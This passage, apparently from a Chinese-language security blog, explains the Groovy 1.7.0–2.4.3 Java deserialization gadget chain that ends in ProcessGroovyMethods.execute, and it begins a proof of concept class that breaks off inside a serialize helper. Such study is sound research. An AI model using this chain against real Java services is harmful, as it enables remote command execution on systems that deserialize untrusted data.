探究Groovy组件的利用方式

反序列化

Groovy : 1.7.0-2.4.3

AnnotationInvocationHandler.readObject()
    Map.entrySet() (Proxy)
        ConversionHandler.invoke()
            ConvertedClosure.invokeCustom()
        MethodClosure.call()
                    ProcessGroovyMethods.execute()

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;

public class Groovy_POC {
    public static String serialize(Object obj) throws Exception{
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(barr);
        outputStream.writeObject(obj);
        byte[] bytes = barr.toByteArray();
        barr.close();
        return